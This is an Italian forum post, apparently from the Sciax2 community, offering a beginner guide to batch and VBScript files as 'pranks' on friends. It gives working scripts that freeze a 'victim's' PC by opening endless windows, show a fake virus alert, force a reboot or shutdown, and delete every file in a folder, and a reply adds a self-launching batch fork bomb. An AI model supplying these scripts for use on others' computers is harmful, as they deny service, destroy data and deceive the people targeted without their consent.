• Regolamento Macrocategoria DEV
    Prima di aprire un topic nella Macrocategoria DEV, è bene leggerne il suo regolamento. Sei un'azienda o un hosting/provider? Qui sono anche contenute informazioni per collaborare con Sciax2 ed ottenere l'accredito nella nostra community!

Guida File Batch & Visual Basic Script

swet20

Utente Assiduo
Autore del topic
7 Gennaio 2010
520
0
Miglior risposta
0
File Batch & Visual Basic Script
Ciao ragazzi oggi mi sono svegliato presto e vi posto questa piccola guida per fare dei belli scherzi ai vostri amici Allora cominciamo:

Cosa sono i file Batch?

In informatica, e in particolare nella terminologia di MS-DOS e Windows, un file batch o comando batch è un file di testo che contiene una sequenza di comandi per l'interprete di comandi del sistema (solitamente command.com o cmd.exe). Il file batch viene eseguito dall'interprete dei comandi mandando in esecuzione, secondo la sequenza specificata, i comandi elencati nel file. Il concetto di file batch è analogo a quello di shell script per i sistemi Unix e infatti può essere considerato un rudimentale linguaggio di scripting, anche se i costrutti a disposizione sono veramente pochi: if, for e goto.
I comandi batch di MS-DOS devono avere estensione .bat per essere riconosciuti come tali dal sistema operativo mentre i sistemi NT (Windows NT/2000/XP e successivi) accettano anche l'estensione .cmd.

Fonte: Wikipedia
__________________________________________________ _____________

Adesso parte il lavoro serio :
In pochi e semplici passi creeremo un file di cartelle che si apriranno in pochi secondi così da far bloccare il Pc alla vittima.

1°Passo: Andare nel menù e cercare il Bloc Note e cliccarci 2 volte.
23uwyex.png
2°Passo: Aperto il Bloc Note scrivete "start" (senza le virgolette) tante volte, Dovete scriverlo uno sotto l'altro
1tn0bl.png
Così:
23w42hi.png
Eccetera, ma molte volte, ogni start equivale ad una finestra aperta.
Piccolo consiglio: Scrivetelo 5 volte poi fate il copia incolla delle 5 volte fino ad arrivare a 30 poi prendete i 30 e fate copia incolla poi fate lo stesso ci mettete 1 secondo ;-)
3°Passo: Adesso che avete finito salvate il file con il Nome start.bat , Deve avere assolutamente l'estensione .bat sennò non funziona.
148gldj.png
20tnhuc.png
questa è l'icona di un file bat Prima provatene a fare 1 con 4-5 volte la scritta start e poi apritelo è figo .
Ecco il risultato:
ofcb5s.png
Fonte: MIA
__________________________________________________ _____________

Cosa sono i file Vbs?

In poche parole, il visual basic script, il basic scripting host, il vbs, il vbe o come volete chiamarlo, è un vero e proprio linguaggio di programmazione che si scrive con il blocco note.

Non è possibile creare veri e propri programmi con icone, file .exe, robe complesse (è sempre un linguaggio di scripting interpretato, cioè capace di funzionalità limitate e che non genera codice macchina ma dev'essere letto sull'istante da un terzo programma), ma è comunque possibile ad esempio creare dei virus addirittura col vbs!

Il vbs rispetta la stessa sintassi e regole del linguaggio di programmazione Visual Basic (molto più semplice e intuitivo del c++ ma molto meno potente)

Alcuni Codici:
-Domanda all'utente-
codice:
dim risp

risp = msgbox("Sei stupido?",vbQuestion + vbYesNo)

if risp = vbYes Then msgbox ("Hai detto di sì Imbecille!") else msgbox ("Tanto non è vero")
Oppure qualcosa di più semplice:

codice:
lol=msgbox("Testo",20,"Errore del Sistema")
Il numero 20 può essere cambiato con:

Numero Funzionalità
16 = Errore
64 = Informazione
48 = Avviso
50 = Interrompi Riprova Ignora
20 = Si o No
10 = Ok

- Spegnere o Riavviare il sistema (ottimo, lavora anche su XP Pro) –

codice:
Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from

Win32_OperatingSystem where Primary=true")

for each OpSys in OpSysSet

OpSys.Reboot() 'o Shutdown()

Next
In questo caso il sistema verrà riavviato, ma se si vuole spegnere il pc, sostituire OpSys.Reboot() con OpSys.Shutdown() .

- Cancellare tutti i files in una cartella, ma lasciando la cartella intatta –

codice:
dim filesysdelfile

Set filesysdelfile = CreateObject("Scripting.FileSystemObject")

filesysdelfile.DeleteFile "C:\Downloads\*.*",True

Set filesysdelfile = Nothing
Tutti i files nella directory C:\Downloads verranno cancellati, ma la directory resterà intatta.
Se volete cambiare cartella dovete cambiare la scritta
codice:
C:\Downloads\*.*

__________________________________________________ ___________
Tutti ci codici sopra Elencati vanno inseriti nel "Bloc Note" modificando la striscia che si vuole e salvati con un Nome a caso ma con Estensione .vbs sennò non funzionano .

Inserisco le immagini qua perché abbastanza complicate metterle al proprio posto xD ma con spiegazione:
23uwyex.png
2° Inseriamo la striscia che vogliamo:
24ysdw4.png
3° Salviamo con l'estensione .vbs
qoagzo.png
4° Eccovi L'icone:
2ih40vn.png
5° Ecco il risultato della prima striscia:
codice:
lol=msgbox("Hai Scaricato un virus",48,"a")
2hprmtj.png
Fonte: MIA voglio reputazione grz xD
 
Ultima modifica:
  • Like
Reactions: 1 person
vorrei aggiungere che basta scrivere: Start ugo.bat
ugo.bat

per far spuntare infinite finestre e mandare in blocco totale il computer.. :emoji_relieved:

comunque, utilissima per chi e alle prime esperienze ;)